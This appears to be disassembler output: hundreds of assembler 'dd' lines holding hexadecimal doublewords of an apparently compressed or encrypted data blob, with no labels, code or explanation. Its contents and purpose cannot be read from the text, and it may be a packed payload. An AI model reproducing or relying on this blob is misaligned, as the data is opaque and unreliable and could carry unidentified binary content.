		dd 0B734A393h, 119C4AE7h, 0AB040466h, 0E5DA7AB8h, 42E528h
		dd 656AC80Dh, 31C9B9DCh, 5E404F8h, 202CC881h, 6B337806h
		dd 0DA62A9C4h, 0FFAC202Fh, 0DA616589h, 4EBA2759h, 4CCE41F4h
		dd 0D44EB44Dh, 0F764A28Ch, 9499C058h, 0CE016401h, 0F5828BF0h
		dd 0E8500DACh, 3EFBF9A5h, 0B880C505h, 0A3863592h, 0B795E311h
		dd 880807C4h, 30B49001h, 902860D1h, 3E2094A2h, 6D9527F9h
		dd 0E611FC9Dh, 0EB85E6FCh, 2179F451h, 7CB02F18h, 59806C7Ch
		dd 0DEE42F3Ah, 0E0735068h, 4C36D502h, 4BF4B8A6h, 14AAFC80h
		dd 0E322305Ch, 215E58B4h, 8580552Fh, 0F98EFF2Ch, 0C5BC27A9h
		dd 754B30C9h, 48042A18h, 0A409F617h, 0C3F84002h, 472E6C7Ah
		dd 42A534EAh, 60B47C3Ch, 0BF1BAB91h, 0AE617713h, 743BA0E1h
		dd 14DCF860h, 0D32C501Bh, 88F09886h, 8AC19A3Ch,	0EEF61840h
		dd 6281FA40h, 0C410200Bh, 9471520Eh, 8C238A65h,	9C66F625h
		dd 25E35F01h, 41226D8Dh, 0A130482Eh, 0E185AC0h,	227946AEh
		dd 625F00BEh, 0C3A49318h, 0D7129AB9h, 30A086A0h, 0F058C413h
		dd 50E4F3FAh, 0BE4D6924h, 50DF0EB4h, 71678C09h,	2040986Fh
		dd 0E0E82C08h, 586D00Bh, 41044DEh, 0E98275C3h, 0D2CCB8FAh
		dd 188B3507h, 0D1A3D9E1h, 3C24D4h, 152DDD65h, 0E1967FAh
		dd 0F4A0E8A0h, 968B280h, 0A2E8F73h, 0A3AE94A2h,	0A208907Bh
		dd 74F8A692h, 253118EBh, 88C1811Eh, 2B798091h, 246126D4h
		dd 7F93004Dh, 0C925A1Ah, 0C0007912h, 0B6EC0A20h, 6BFF350h
		dd 210E1029h, 930030A7h, 1F0F80D2h, 0EA8DE42Ah,	0AD64007Bh
		dd 3877D89Ch, 6108C923h, 0A04192h, 189F8719h, 0B5062EF6h
		dd 0A5261DC1h, 625E3008h, 1897FD20h, 84FE6C00h,	0E0CE0236h
		dd 0E9B20016h, 3A9AEEA2h, 5090C090h, 9C2B610Ch,	3CB6598Eh
		dd 7E835AF4h, 8194A764h, 0D8233999h, 1663A06Eh,	75640B1h
		dd 0DFD78969h, 0A5488087h, 5E00DE1Bh, 0CDA6532Dh, 184AD37Bh
		dd 38281AC8h, 921D198Eh, 1030D8C9h, 160F4C4h, 83C5AE9Ch
		dd 0A0DDA565h, 0E1001008h, 105460ECh, 20F7121h,	0EB2F5DEEh
		dd 84A08D0Eh, 0D90A7C3h, 0F90731DEh, 0E02F229Eh, 982005EBh
		dd 2E08CCE3h, 9600D821h, 1443F622h, 98A4AE27h, 233D0C89h
		dd 0A7D0694Eh, 2855DE03h, 0E089B6AFh, 7C65EA11h, 349752C2h
		dd 9B229502h, 3131F3A0h, 22EDDF10h, 1FB9FE05h, 0B8042A36h
		dd 0B145F628h, 727C8320h, 24B400EDh, 88925ECDh,	509867FEh
		dd 481D6Ah, 0A0094E0Ch,	8EDC5C2Ah, 3B647800h, 58999869h
		dd 53329B18h, 14B5A720h, 2090E9D4h, 1849A8F1h, 275E0073h
		dd 67A13A30h, 0C02413EAh, 190008B4h, 607B6EEDh,	244B0C94h
		dd 4C080D8Bh, 7ED4740Ch, 82B806h, 0A3F21698h, 0A16E679Ch
		dd 0C241F40h, 0D1F0D2A2h, 36EEE8F0h, 223D8D0Ah,	465EA4C3h
		dd 5084312Dh, 8806D8C8h, 0B0282AF0h, 2C8508DDh,	87632CC4h
		dd 0DAC8394h, 3E0019EEh, 55FA63A3h, 0D4D5B168h,	1C227C58h
		dd 0CE26BF04h, 0C897A464h, 0CC763AD7h, 0AA9B0488h, 81767A9Ch
		dd 22E5A4D8h, 51950064h
		dd 90839199h, 0D942856h, 7F040044h, 3E5E1968h, 6B00D70Eh
		dd 0E6156C91h, 1C63D878h, 40F5469Bh, 0AF60C9F3h, 7511AA4h
		dd 2F1082E8h, 106586ACh, 0CF1C0F75h, 0A740263Eh, 81C352E8h
		dd 0F8224838h, 625A9DA0h, 20D42880h, 0A9130396h, 385FFB9Ch
		dd 3716EC06h, 2A0D3018h, 0FC32A0B1h, 0EC48C367h, 0EC47EB25h
		dd 0C2C6D20Ah, 0A0910218h, 0A76E9763h, 0FA150844h, 0CD864D2h
		dd 3935723Eh, 8C2A18A0h, 215219D1h, 2480EE88h, 923402FCh
		dd 0F30229Dh, 4674FC2Ah, 0ADF70032h, 3578B33Ch,	135177D0h
		dd 4867F2B4h, 92834900h, 867A8CCEh, 60944818h, 33F9FA21h
		dd 2000E18h, 7BFC9936h,	1F7AEABEh, 4F3952CBh, 0F2C03256h
		dd 0A46EA255h, 1878A084h, 288CA425h, 1FE4B13Fh,	0C3100C26h
		dd 2CE4A459h, 1E0D3119h, 21C0C439h, 0B6F900FEh,	3067B47h
		dd 5C90D44Bh, 62B1C613h, 2963C04h, 0A23CD5Eh, 0F3308AF9h
		dd 0D511ECFAh, 0F6A4E900h, 0DC2EF26Eh, 8011624h, 0D282FF90h
		dd 0C803CEF4h, 99913E23h, 4CBA2185h, 9768820Ah,	0A39F2B21h
		dd 0B8DD3464h, 0E88D7E4Bh, 799301A9h, 76ACAF04h, 74BC4073h
		dd 39C1DCF4h, 56D2553Ch, 65E49450h, 0D8224C25h,	1BAD6E83h
		dd 138B9115h, 342680D8h, 14E37E2Fh, 0E0E1CBC9h,	0C664E01Fh
		dd 109CD0D2h, 246466F6h, 853F870h, 0F6C0EC54h, 46AE9E60h
		dd 0D122D5h, 2260EEE3h,	8139BE5Fh, 6EB05164h, 0AC189058h
		dd 28BFE0A0h, 0DA223942h, 72F0C22h, 82806CA9h, 0F5E3C099h
		dd 0AC00D97Fh, 32F939C7h, 10888A03h, 242D4AFCh,	0C9C2209Dh
		dd 0F83F2029h, 0DE008DC0h, 0A43C727Eh, 0AAEC19Ch, 6C9A94CEh
		dd 659E12B0h, 0C010032Ch, 21B09987h, 0BD269C2Ch, 0F6421061h
		dd 1E8C081Fh, 31561FA6h, 23998C10h, 19623C8h, 0A09C2294h
		dd 883518FBh, 2200ECDEh, 15CB80F0h, 2A7B5865h, 290F944h
		dd 0FCAE1A8Fh, 3C842A52h, 87F4C47Bh, 14CA8418h,	852180D8h
		dd 60ECDAFAh, 7F4718D2h, 4017BEB9h, 0A021933Bh,	3180534Eh
		dd 724221FFh, 0C300D498h, 3A74970Dh, 4E160Fh, 0A6F4F838h
		dd 0C224D256h, 6BA551C0h, 782B48BBh, 348CA8A7h,	107A02F6h
		dd 553DE359h, 233AE882h, 904674E4h, 9A60F202h, 0DF31F5AEh
		dd 60EAE710h, 721D21Fh,	24D84F01h, 78CBC9C8h, 78743A21h
		dd 0E4002DBAh, 556DD67Ah, 9539DE13h, 0A3EE0282h, 0E4AF6EBBh
		dd 51412640h, 125F8EF0h, 7B506D4Ch, 74E9F704h, 2280208Ch
		dd 0BC6A873h, 0C7F69C26h, 3E01F82Fh, 20E620A2h,	3901BFA0h
		dd 3A996FD5h, 3420E568h, 2020B063h, 0F0A06532h,	9864FDF0h
		dd 0F760EDF9h, 0AE2E9F60h, 0E270F0CDh, 146001EFh, 3E2849AFh
		dd 4EA6F802h, 0B683B3Ch, 103316FCh, 515F254Ch, 46ECBC9Fh
		dd 3E99098Eh, 6180BE15h, 21289D6Ah, 0A593830Bh,	6E8C823Dh
		dd 2EB42270h, 0D7F480C0h, 5830B088h, 5909DF97h,	0C2A193Fh
		dd 8F4008D4h, 0E5DAA401h, 0C0305128h, 9FF10708h, 99937AE2h
		dd 0F319DC82h, 4FEAE5C1h, 35B21120h, 9CAE9380h,	98C96982h
		dd 0E9680299h, 0A7D4A34Fh, 9F5AF801h, 0FDE10CE8h, 5509E0A3h
		dd 95A121C0h, 54C89A5Ah, 1CA020h, 0ED385E6Bh, 0C75022ADh
		dd 6A06AF03h, 2552779h,	3467A2A8h, 9460168Dh, 0AE404024h
		dd 0F3B20019h, 7ED82EA5h, 12604C2Bh, 383A1890h,	11ACBB2Fh
		dd 11079293h, 45B9A09Fh, 91DB80B0h, 5A9F9622h, 4C0EC32Ch
		dd 17B53540h, 0FD95267Bh, 8597083Ch, 802A2889h,	1EE0DD88h
		dd 37774A08h, 0C8EBDF18h, 3B495CA0h, 78B0A41Fh,	7B2444h
		dd 22B55726h, 0F070F7DEh, 0B05C5E7Ah, 2E7B378h,	6BDA3EF9h
		dd 74CAA5F6h, 2FE4EC67h, 696E4760h, 399DC830h, 0C5AB9C2Bh
		dd 40664E69h, 37080BDCh, 7D2C4CDCh, 98CA881Ch, 0F102463Bh
		dd 0DDAE9960h, 0E410DE31h, 973A60E9h, 0C94C9686h, 0FC2E9801h
		dd 0CC642042h, 50128829h, 0E1D47060h, 1794306h,	0EBFDB2A1h
		dd 0FC3644C8h, 951DD5E3h, 0FECBAA93h, 82B8312Ah, 5935E720h
		dd 894BC1Fh, 0C058EF24h, 0E8955A9Ah, 5822B146h,	3E5A1DA0h
		dd 0E6BF4300h, 0A4A0ABAEh, 80044806h, 0C1C82738h, 4060222Ch
		dd 996DAF96h, 7C242676h, 0C8211082h, 3F12E426h,	7780EC07h
		dd 848C8D9h, 0E00482A1h, 22986092h, 9BA02E90h, 0F8DA71CCh
		dd 3BFA2E22h, 0BCEE743Bh, 0A49F9ED8h, 90FD60CCh, 3CAA24EAh
		dd 80E981F8h, 6428DEFCh, 0C9131848h, 0C88C9661h, 9470F79Bh
		dd 64C89C95h, 93E14059h, 0E361B18h, 33F28AA8h, 3A108834h
		dd 0D48E0B6Eh, 84AC29E6h, 5022805Ch, 0F576BA20h, 63CD006Eh
		dd 0A1B38542h, 2A0347F0h, 8036A331h, 6858D13Ch,	0E42E388Fh
		dd 0C828F9AAh, 53445C5Ch, 0C3520042h, 0E195FFF4h, 538F932h
		dd 0E8560E6Ah, 20021803h, 4BC3725Eh, 88CCBB89h,	4621C015h
		dd 72F1C356h, 686DB603h, 850F01FFh, 1823242Eh, 2D593B00h
		dd 18890E52h, 9404A19Dh, 5137BD83h, 0F010C2Bh, 379F4784h
		dd 0D294C09h, 850E8D1Ah, 0CFFC367Ch, 1F998689h,	4CE93618h
		dd 5546942Fh, 88C35D1Ch, 16C46C89h, 0C3554540h,	0AA0D8F37h
		dd 19068B0Fh, 11619C88h, 0A885383Bh, 52444119h,	0FE93051h
		dd 386DF31h, 0F3003AF2h, 0D34F6526h, 7E973238h,	505A322Ah
		dd 4332529Ah, 5489E9B2h, 0DD44BB4Eh, 0FF970C82h, 0E9751FB5h
		dd 91211160h, 2570E6h, 2BCC080h, 0EFAE10C6h, 7B148471h
		dd 30FA9419h, 0CF8A3917h, 0D81340Fh, 8FE4AB3Fh,	31203B39h
		dd 0F7B2BB86h, 2360EE59h, 158D8B37h, 86FADB06h,	250E22E4h
		dd 0AE4C805Ch, 0BC1290BBh, 0EA03DA72h, 298D8F30h, 0BCD71380h
		dd 312534ABh, 0A917A16Eh, 50445218h, 0C8C35861h, 448C4489h
		dd 5000401Ah, 2B1928C3h, 3AACB4BDh, 61922918h, 0F811431Eh
		dd 88CFFF6h, 0C35FC357h, 187C8991h, 57478819h, 65C35Ch
		dd 4537861Bh, 6651B589h, 29105920h, 0E0633400h,	76AFFF75h
		dd 6D43DDAh, 0B98AC07h,	6CF62C16h, 3814140h, 38B889EAh
		dd 0DAB8663Ch, 80A1C235h, 0A2C42D5h, 0D43F3A21h, 17377F4h
		dd 5CB6F09Fh, 57BD858Bh, 31A66EA7h, 32793715h, 0F1162A83h
		dd 0B58D08DDh, 0AC213921h, 0A11814D1h, 0ED85090Dh, 4ED85118h
		dd 48FB76E7h, 0D68799E8h, 5AFD63FFh, 658D0B88h,	0F059EBA9h
		dd 951489D0h, 89EE2531h, 0E82E0F60h, 0BF0F0226h, 818261DAh
		dd 0F5010769h, 0B642F38Bh, 2BC4462Dh, 6420A21h,	66DFF680h
		dd 5EC88B36h, 0D013E46Eh, 0E9862A2Ah, 5E05AF08h, 0EDBD1A0Fh
		dd 806BC200h, 4C8B8DEEh, 0C91145C0h, 9751831h, 8812B512h
		dd 50301974h, 0D9B82C53h, 18189A07h, 9D28E985h,	0F340849Dh
		dd 5BD315FFh, 17882258h, 73E22021h, 0D21033F0h,	0E81824A1h
		dd 0C327C713h, 0D0E4CE00h, 23395576h, 0DD8B007Eh, 42176140h
		dd 864CA146h, 15B11066h, 0B2B85A30h, 42EB501Ah,	4040D899h
		dd 0FA193793h, 0D97E5362h, 31C2E22h, 431DBA89h,	20067650h
		dd 0FC4341FAh, 8605B12h, 548111AAh, 0A1049C96h,	10D5D4h
		dd 812647C7h, 0A862F4B2h, 5F58570Bh, 95BA81FCh,	0C221AB5h
		dd 82EDF528h, 44E74730h, 49EE6019h, 0CFF6141Ch,	0FD10AC88h
		dd 0FE502417h, 71D4674h, 7EDF2B8h, 0A45EE670h, 0FDC14C09h
		dd 0E742FEC0h, 50E6FF7Dh, 7430A000h, 2A43A2D9h,	7580C653h
		dd 7BA0E110h, 33481D95h, 92B590A4h, 0FDE70307h,	263EB4EAh
		dd 6A965CDDh, 15236A3Bh, 0E959609h, 503FF4B2h, 0B920BD33h
		dd 70687004h, 0D9E4B118h
		dd 8181Ah, 94CC8B7Fh, 8D295109h, 84E4F155h, 0CA1BDF6h
		dd 406DC088h, 1F62B127h, 721DD10h, 9491E423h, 6090988Bh
		dd 66C78100h, 29363961h, 0EED5D95h, 37939B79h, 290CE5E0h
		dd 88F40EA7h, 3E96C01Ch, 113A5128h, 0D8A012D7h,	0D70D9D0Ah
		dd 18408B80h, 4838EA80h, 0AC4552C7h, 13D43B8h, 14618048h
		dd 498E0F60h, 1233C8h, 5D387441h, 7F9FB6Eh, 29E2BE23h
		dd 0B1A62034h, 172EB41Ch, 1D598661h, 0BEE18110h, 9819F33Ch
		dd 0F178C3Dh, 14F3183h,	23CAB70Dh, 0BF66014Fh, 983D08D2h
		dd 28381752h, 243B069Ah, 8128185Bh, 844C120Ch, 105994ECh
		dd 0B249090Dh, 0A41DC740h, 1E8E34BAh, 0F03A4040h, 0B6579D3Bh
		dd 1D3FB900h, 420EDFA2h, 956318D7h, 0F18046FCh,	5046DC4Ch
		dd 0D09A7977h, 0C6F8BE91h, 0C6C28F0Bh, 1B26170Bh, 664F006Bh
		dd 58C5692Dh, 922287Dh,	0BD01EE7Dh, 0ADCFC135h,	0A48E9D2Ah
		dd 0FF4383F8h, 2BF6850Fh, 0BFDFB11Eh, 3F272B44h, 1E192581h
		dd 7DDE3019h, 54E92540h, 2B57D626h, 3FCB870Fh, 5A750D20h
		dd 53194463h, 5FFBF156h, 17C23C7h, 465E422Eh, 0CFDB0019h
		dd 0D2AF9BA7h, 31DF0581h, 874CCA9Fh, 0AD8DDBDBh, 0B9A4022Fh
		dd 402EB5C4h, 0CE31B8F2h, 14042675h, 0D302518Ah, 16E3B966h
		dd 0DD88F99Fh, 0DD21FC07h, 94047207h, 0C3B76753h, 0E75C89D2h
		dd 53430193h, 40E9A9C3h, 0BC4F8809h, 92470307h,	7A207EB7h
		dd 1DC01BF0h, 85268481h, 90DCB17h, 0FE80FAA2h, 5E0B9A29h
		dd 0EEF48A30h, 990221E9h, 181BF1D0h, 57E71D8Ch,	0D7299C60h
		dd 58211D28h, 985F52Bh,	38E23F59h, 0B11AAEBDh, 0EE880145h
		dd 1359248Dh, 623C4A43h, 238227ADh, 0B1003D11h,	480F4073h
		dd 31815180h, 5932A99Dh, 0DF75302Ch, 6A04840Bh,	7FF72C34h
		dd 5802B050h, 4D2FE01h,	140925F6h, 4D072667h, 16808h, 0F6DB8C66h
		dd 739004C3h, 0C6190267h, 56A09964h, 52680656h,	5E9CA8B8h
		dd 6A5E1954h, 9D6B3A4Ch, 89080496h, 81649B10h, 7445BCEEh
		dd 1D472D08h, 0D1AC9B68h, 9A92E4ECh, 4F1E90F0h,	26611E68h
		dd 0C521E02Fh, 194ECA0Fh, 0F4537D70h, 18C25628h, 9875C085h
		dd 0A684175h, 0DB876498h, 0D07AD32Ah, 684C8385h, 8092E7A4h
		dd 8B1120B4h, 257E749Dh, 1A05045Bh, 2B545C79h, 3C70A15h
		dd 1B76B8CFh, 0F020C43h, 1F252608h, 0C18504F9h,	6A87D820h
		dd 534302ABh, 91B52934h, 6D851728h, 97684500h, 8092A5F7h
		dd 33872109h, 0C560267h, 3275142Eh, 46C0DB66h, 65A44EA1h
		dd 0A587890Ch, 9D571A34h, 801D11FCh, 1F18C233h,	0D73D0FFEh
		dd 0EA398BE4h, 3E72C674h, 6203BB04h, 0E883505Bh, 0CD815039h
		dd 0AC0B05CFh, 235FF64h, 45953171h, 89E91D6Bh, 0BA0D4025h
		dd 5F261C48h, 0B90BB936h, 0D45A9B29h, 118D8941h, 10F06212h
		dd 4D4D1785h, 8DBA2322h, 6611F40h, 458DBD80h, 852251FCh
		dd 0BA66020Eh, 5CE9C91Dh, 81030464h, 338874C7h,	23C090DBh
		dd 1A9D31BDh, 0C638BAD7h, 73F4F60h, 8F640B12h, 0C4833031h
		dd 51C14631h, 7259B658h, 4C892DC3h, 410E6616h, 6398C351h
		dd 0C3661h, 0D30BE882h,	9AACBF57h, 317AAA02h, 7327E1BDh
		dd 325A00E9h, 8321EF71h, 0E5A08B1Fh, 0F30FD46Eh, 85FB2BC9h
		dd 78078418h, 0A269D29h, 30D84545h, 6EF0FBA3h, 0BC6611DFh
		dd 0D24C1340h, 62B31865h, 0C70CBE8Bh, 21A48133h, 83033DFFh
		dd 415B832h, 8BC39B81h,	55308E5Ch, 5D0411E8h, 9196ED81h
		dd 45838B1Fh, 432B041Bh, 0C890A75h, 54F5D9Ah, 52D491FDh
		dd 0B5E0CCF6h, 68CDED9Ch, 0F600818Ch, 17BCC8F2h, 61830F50h
		dd 5200988h, 48715F2Ch,	0E982711Eh, 644EDFCBh, 0D0148BF8h
		dd 2909860Fh, 0B801D7B9h, 4855D704h, 0F7815A80h, 0D465BB0Dh
		dd 0BA868503h, 8434B640h, 5FE8AC81h, 0C0ED0C9Dh, 4D5868FBh
		dd 0A4C7556h, 0B49106Dh, 44AD0122h, 5D3525h, 0FB5C94B1h
		dd 2C0937A7h, 352F062h,	2259C811h, 0B11402D6h, 23AE96Ch
		dd 70EBC1B9h, 2938E0F0h, 19DD25BDh, 3D08C435h, 15DD4204h
		dd 0D00BEB11h, 0F08CE120h, 69F62318h, 0F88E144Ch, 5B7B8C17h
		dd 221A4924h, 65426800h, 2D853167h, 0E730164Dh,	0A63C6BA5h
		dd 70F50053h, 988E779Ah, 808F0B0Dh, 0D1A56E0Ah,	0C1E65A47h
		dd 392E3683h, 6E85309Bh, 78450001h, 74706563h, 6E6F0E69h
		dd 666E4920h, 616D72C2h, 50030C8Eh, 73CB656Ch, 63202C98h
		dd 0AFE77481h, 685F1D3Fh, 3E733E7Eh, 0B3773E66h, 0E3641272h
		dd 0EB6CF376h, 73B7CF70h, 456977B3h, 769B1D34h,	1C1B266Ch
		dd 1D67676Eh, 0D72E7340h, 5F661F54h, 5E795F6Bh,	0D0ACD75h
		dd 198FE04h, 80CC7028h,	0E436E73h, 2B4C5254h, 78EBF6BFh
		dd 0E5466951h, 187AB764h, 54707B4Ch, 796C0879h,	0C5627F69h
		dd 102964DAh, 56344236h, 0F7A627DFh, 9C25F73Dh,	0E8C1431Eh
		dd 4E496B63h, 38640F52h, 5447554Fh, 6F72500Fh, 0F421DF4h
		dd 0F323BDAh, 34B6F308h, 0B0F393Dh, 5051791Eh, 1E18A38Eh
		dd 0BD0525A4h, 0C68C2801h, 42F89C2Dh, 0AB41EEA3h, 0D0E9050h
		dd 7AB5697h, 0CFB395FFh, 76280A91h, 321419FCh, 997D5807h
		dd 24452116h, 0B2656F86h, 2AED146Fh, 36A225F9h,	0B233461Ch
		dd 80461C42h, 461C4AB2h, 1C46B29Eh, 3AB28746h, 0B28F461Ch
		dd 96421C3Eh, 710C61A4h, 0E5FE0406h, 0F007014h,	0D955486h
		dd 76174285h, 0CFDA1158h, 81047069h, 131CF8C2h,	5E8D25C8h
		dd 52462395h, 400728AEh, 893BD4C3h, 0C42579F2h,	400CD159h
		dd 8B2A5522h, 0C32F139Dh, 655B0A4Ch, 50C41168h,	421E3622h
		dd 0E4422154h, 1E462258h, 3A225C42h, 0AB3EDCA5h, 6844AF0Dh
		dd 5A52CD50h, 323E0C64h, 0C46193Ah, 36438642h, 0AA13222h
		dd 291C262Ch, 0D040764h, 614F92Fh, 0D560CD3Ch, 406A24C4h
		dd 194E24CAh, 0BCEB5B5Ah, 7A990125h, 184A708Bh,	0E9509BB3h
		dd 47024B0Bh, 19245C25h, 0F820624Eh, 0C2611979h, 28E63404h
		dd 14603286h, 2AF60408h, 24984FD1h, 0F860E9C3h,	30B58B21h
		dd 818EC77Ah, 18F006E6h, 0E833C6D9h, 8113C269h,	3B4CD0C6h
		dd 39D634B5h, 51E9EC0Dh, 0F2D820D8h, 0C0CFE622h, 8C66506Fh
		dd 31224C8h, 1B10C00Ah,	0D49D7E2Ah, 858B4273h, 86094D44h
		dd 8DB0A18h, 0BE2C673Fh, 432F638h, 27CFC624h, 0B785FB50h
		dd 0A9E10408h, 0FC71E12h, 0FEC54C01h, 1CC0FAC0h, 8F2D9653h
		dd 0FC6C8966h, 5B570209h, 4C092B53h, 44E182A0h,	0BBE02243h
		dd 0CEF5326h, 3E380CBh,	386884C3h, 765E764Bh, 61614FC7h
		dd 0BA448B41h, 0C59829E6h, 7C068915h, 2CE51878h, 0CC2390F1h
		dd 0A65BBD01h, 60A344A2h, 0EA3E8024h, 0BB093191h, 0DF01B7A1h
		dd 0C9B101B0h, 0F9402AE9h, 2C88AACh, 63272C3h, 0BAACBD1h
		dd 14440D2h, 0C90A324Ah, 232DE5D6h, 11A8DDE1h, 8B520E10h
		dd 7A6057D4h, 0E9C03308h, 80AA21A0h, 8DAC3F70h,	0BC5A5F2Ah
		dd 5651531Bh, 51DB9232h, 80AC1E9Ah, 81D3D1D8h, 5A1BBCC3h
		dd 0CFB03746h, 220B49A3h, 8B07E897h, 5B595EC3h,	7B346045h
		dd 0AC8C74B8h, 77AD2AEAh, 0E723C010h, 0FD4DF90h, 4A8D80Ch
		dd 0D4A6293Ch, 4A0BD54Ch, 6060CB25h, 0D2D9858Fh, 0D1640A21h
		dd 22BD1F06h, 0E9388913h, 43F364D5h, 0BA408B1Fh, 46F31702h
		dd 2192899Bh, 0FE3C1419h, 0EE1E46ACh, 88E430A3h, 8768E9AEh
		dd 76A4DF69h, 4D007212h, 0B2B80C7Ah, 0A9450DCAh, 0C02907E9h
		dd 0D1E43006h
		dd 3B46C801h, 0F1820FF7h, 0EA028D49h, 0B2289708h, 2897284Ch
		dd 53515604h, 2C041384h, 67980C4Ah, 0C92D503Ch,	9804880Ah
		dd 32133401h, 8C3C1D8h,	675D1C21h, 595B1C40h, 237A25Eh
		dd 107C6198h, 81B92925h, 2D0C543Ch, 0B1210B42h,	0B329588h
		dd 0ED4BE960h, 5484BFA0h, 7D37CE00h, 3C41430Fh,	4FBC98C2h
		dd 0CEC32203h, 0BF016BF8h, 63E2BED0h, 0A1385D74h, 0BC860EF8h
		dd 0E21D66Ch, 0C2807004h, 0A206814Fh, 9C7E4DE1h, 9701DC39h
		dd 1518F866h, 7AE03382h, 28D75B8Bh, 95A61E03h, 0E5E9CB12h
		dd 2560B44Eh, 5CA25B56h, 594A5500h, 61FAB7FEh, 9EDAA4C3h
		dd 0DF8CB1C6h, 0A1CB8BE0h, 0F7F8CAB3h, 0BF2D4C7h, 0B153BC37h
		dd 2BC061BEh, 1DA39F75h, 1BF78B13h, 8DF733BEh, 40BFC11Bh
		dd 0CF68105h, 6202FA14h, 7F5416A2h, 0D2B7B840h,	27DB950h
		dd 8945E9E4h, 37D3241Ch, 21035432h, 69E2E980h, 8C0F8435h
		dd 0E818A4B9h, 0CF1B0B12h, 0E1A0E712h, 0D7407A01h, 0B8DBEF91h
		dd 138274A3h, 53011Ch, 66C48B96h, 293D69BAh, 0AEEBAACDh
		dd 0EE8BD64Ah, 0D9C01CC8h, 576E494h, 26B26B71h,	534BA646h
		dd 3015A20Fh, 68B46178h, 91A5972Fh, 0E0A09317h,	0F2B217D9h
		dd 0C80B4B0Bh, 0B68DA69Bh, 3509E028h, 0E030E3F5h, 12724885h
		dd 0B879B205h, 13787A01h, 85B27D1Fh, 7B031007h,	5A80A04Eh
		dd 0C0D0E7FFh, 20E82545h, 0DF3B7AEBh, 0AEDD00A1h, 7599D892h
		dd 7F0251EEh, 5A66ED80h, 109CE957h, 0FC0BC6Ch, 0FE0140B6h
		dd 8BB0C840h, 21245ADh,	0E8C3B05Fh, 0E30F6999h,	6D6200DBh
		dd 975C9C6h, 6E20D09Eh,	47071B04h, 90C0B5F6h, 48932459h
		dd 0F163A5Ah, 8721C888h, 0AA11BE00h, 0EE8A3B7Bh, 24F84C61h
		dd 5E20E825h, 2AA04AA2h, 58EFB200h, 0ECAFD51Dh,	59F0268Ah
		dd 2DB4F68Ch, 0F10E42D6h, 0F0FA60FCh, 0AD41B0Fh, 0CA938061h
		dd 2FE8C2A1h, 9F7C0040h, 5D7803h, 8150E32Eh, 8EA79DDBh
		dd 805E7007h, 0C6A19CECh, 308759D5h, 62DA8B56h,	94C2FF33h
		dd 0E3811190h, 488D6000h, 3E148B12h, 79C2F4F8h,	29BB3656h
		dd 26021076h, 0B07BFB5Dh, 22DA6084h, 39FA00C9h,	0FF475EB9h
		dd 6B985221h, 48FCE07h,	8321B73Eh, 2E3303EFh, 7FF14000h
		dd 0C50A113Ah, 0A1D03Fh, 279B9F84h, 6144866h, 58C68BCBh
		dd 8109AE4Fh, 60A6E8FFh, 9B17852Ch, 113B98E1h, 78726264h
		dd 2BC98400h, 478D294Dh, 0A669128Ch, 0FD0B8871h, 4D00BD79h
		dd 0FED92876h, 74B02D37h, 0F372050Dh, 907BE97Eh, 5914E6ECh
		dd 85225000h, 0D57F929Fh, 1F820F89h, 0FDA0EBF8h, 441C4D03h
		dd 23A69414h, 9C5D1804h, 0F4B411h, 8AD04520h, 6414E991h
		dd 2B16A9A0h, 964D3900h, 4105A733h, 6277C62h, 439C2D8Bh
		dd 8DF04084h, 0F903C878h, 629F2F1Fh, 0C3280613h, 403CF7DEh
		dd 0C820A60Ah, 0CC1D3890h, 53064F03h, 0C720002Eh, 6120877Ah
		dd 0A00E591h, 51848FD4h, 0BD09B6h, 80F5A4A5h, 0C89AFC97h
		dd 90264001h, 851B0D48h, 1FAB2430h, 81837D62h, 2D95D19Ah
		dd 0E64443D7h, 0CE45106h, 631712Bh, 0E306C064h,	2F018045h
		dd 5F76CCB7h, 0F7F0BD27h, 6118C132h, 82F4A7h, 403F1686h
		dd 0FB00F52Ch, 9017CB6Bh, 52BFE64Eh, 0D9189448h, 434F305Dh
		dd 60302F78h, 16C1107Dh, 500D37AEh, 77B4C270h, 90C25D02h
		dd 182D8Ch, 19A57828h, 47E20D10h, 0A3F21C74h, 291B8131h
		dd 45F42DBAh, 5B190A91h, 91B01AC2h, 0DC5D0189h,	0BB113F1Fh
		dd 7E25F850h, 0E40D3E1Bh, 0BACD007Ah, 5E6C853Ch, 7700CF9Bh
		dd 8B8202C2h, 581A4A6h,	0C920EF6Bh, 4EC80350h, 87A4F2Ah
		dd 51521C01h, 237CA68Ah, 4462822h, 29382BE0h, 9E4F10C3h
		dd 0FB180A46h, 0EDC1789h, 0B094425Dh, 0A715AB03h, 6993964Fh
		dd 0FC611FA0h, 290BF632h, 9C7410DEh, 5610D589h,	0FC0015BFh
		dd 2EDFF30Ch, 3D0BCAEFh, 0DE0712FAh, 0E0D00429h, 7B05CCFFh
		dd 9D00177Dh, 8E0A0BD8h, 18F71A88h, 1009CB9Eh, 0ECEDC587h
		dd 45003C94h, 6D4A0F02h, 5A7D54h, 7A47E52h, 0DA7847C9h
		dd 0EAFA3F00h, 6AB65076h, 48DE2F3h, 8F0E2F70h, 329FC7CEh
		dd 0EE80EAE3h, 27932E8Ch, 740F0A00h, 0B1D1C3E6h, 3F0CBh
		dd 919256FBh, 345B8E5Eh, 0EED01301h, 93F5AF2Fh,	2BE7A441h
		dd 0B5A7F0h, 7B39276Ah,	9CE30F89h, 8065F000h, 7C881B23h
		dd 0C1850759h, 0A070AE56h, 0F533D5CDh, 0D1785B00h, 0E6014134h
		dd 215C0FACh, 7BDD882Dh, 6D80A83Bh, 6035BA3Ch, 27F88C4Fh
		dd 4BE7461Eh, 0D685FB00h, 286B797Bh, 0E043E3h, 0A43A2397h
		dd 68F7FF84h, 22003B72h, 48F0929Eh, 0F6EA70h, 4B91A84Ah
		dd 0B980C427h, 833B3A38h, 8CB0EEFAh, 0F4B1D049h, 0CAFE0688h
		dd 0A0BC65D8h, 1DBA2300h, 0D23E7EEBh, 5F2E0197h, 0BCAD3A5Ch
		dd 0FDC5201Ah, 0C0120600h, 0AC100BC1h, 4B200013h, 77DC3E2Eh
		dd 56070C3Ah, 0D6EAB8ABh, 9A648990h, 85C2009Fh,	0AF8A32Eh
		dd 0C1009D91h, 8B2D2C55h, 6C9769h, 318A061Ah, 0A8D8FC39h
		dd 0E704EA03h, 0D0E89C5Fh, 3A88513Dh, 61804010h, 0C9B8CB33h
		dd 6F0115DAh, 0E493C017h, 42C8911Dh, 86F6031Ch,	517159DCh
		dd 5840D69Ah, 2B05B9F4h, 1CC040A4h, 809E1BC0h, 9D53BADh
		dd 0E67BF580h, 659CB9D8h, 0B7B2DB01h, 0C5BE7115h, 4412080h
